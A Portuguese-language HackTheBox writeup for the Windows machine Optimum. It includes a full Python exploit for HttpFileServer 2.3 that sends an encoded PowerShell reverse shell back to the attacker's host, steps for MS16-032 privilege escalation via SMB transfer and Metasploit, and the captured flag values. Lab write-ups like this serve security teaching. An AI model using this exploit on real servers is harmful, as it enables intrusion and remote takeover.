> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Writeup do HackTheBox Optimum Writeup Windows Fácil do HackTheBox Optimum cobrindo HFS 2.3 RCE e escalada de privilégios MS16-032. {% embed url="" %} {% hint style="warning" %} **Técnicas** * execução remota de código do HttpFileServer 2.3 * enumeração de host Windows * elevação local de privilégio MS16-032 {% endhint %} ## Reconhecimento ### Prepare o ambiente de trabalho Crie um diretório dedicado para a máquina: ```bash mkdir Optimum cd Optimum ```

O `127` O TTL sugere que o alvo executa Windows.

### Descobrir portas abertas Verifique todas as portas TCP e salve os resultados: ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts ``` O Nmap identifica a porta `80` como a única porta aberta.

### Identifique o serviço web Execute uma detecção de versão e os scripts padrão na porta `80`: ```bash sudo nmap -sCV -p80 10.129.5.151 -oN targeted ```

O alvo executa HttpFileServer 2.3. Esta versão tem uma vulnerabilidade conhecida de execução remota de código. ```bash searchsploit httpfileserver ```

### Explorar HFS 2.3 Use o seguinte script Python para enviar uma reverse shell do PowerShell codificada. Primeiro, atualize os valores do listener e do alvo: ```bash import requests import urllib import base64 lhost = '10.10.15.2' # Altere isto lport = '1234' # Altere isto rhost = '10.129.5.151' # Altere isto rport = '80' # Altere isto command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' command_bytes = command.encode('utf-16le') base64_bytes = base64.b64encode(command_bytes) encodedcommand = base64_bytes.decode('ascii') payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand encodedpayload = urllib.parse.quote_plus(payload) url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}' r = requests.get(url) if r.status_code == 200: print('GET Request Sent') else: print('Failed to Send Request') ``` Inicie um listener antes de executar o script: ```bash rlwrap nc -nvlp 1234 ``` Execute o exploit na sua máquina local: ```bash python3 rce.py ``` O alvo retorna a conexão com uma reverse shell do PowerShell.

### Capture a flag do usuário {% code overflow="wrap" %} ```bash type C:\Users\kostas\Desktop\user.txt ``` {% endcode %} * f2f8d68c549c18e1b94d2c99207e3022

## Escalada de privilégios ### Identifique o caminho de escalada Inspecione o sistema operacional do alvo: {% code overflow="wrap" %} ```bash systeminfo ``` {% endcode %} O alvo executa Windows Server 2012 R2.

O host é vulnerável à escalada de kernel x64 do MS16-032. {% embed url="" %} Baixe o repositório do exploit e localize o payload compilado: {% code overflow="wrap" %} ```bash windows-kernel-exploits/MS16-032/x64/ms16-032.exe ``` {% endcode %} ### Transfira o exploit Inicie um servidor SMB no diretório que contém o exploit: {% code overflow="wrap" %} ```bash sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support ``` {% endcode %} Copie o executável para o alvo: ```bash copy \\10.10.15.2\share\ms16-032.exe . ```

```bash copy \\10.10.15.2\share\MS16-032.ps1 . ``` O payload do PowerShell não está disponível neste host.

### Explorar o MS16-032 com o Metasploit Use o Metasploit como alternativa: {% code overflow="wrap" %} ```bash search ms16-032 ``` {% endcode %}

Selecione o módulo MS16-032 e execute-o na sessão ativa: {% code overflow="wrap" %} ```bash use 0 set SESSION 2 run getuid ``` {% endcode %} A sessão agora está sendo executada como `NT AUTHORITY\SYSTEM`.

### Capture a flag root {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %} * 0d795fff7eac20e753543b412dfa5c34

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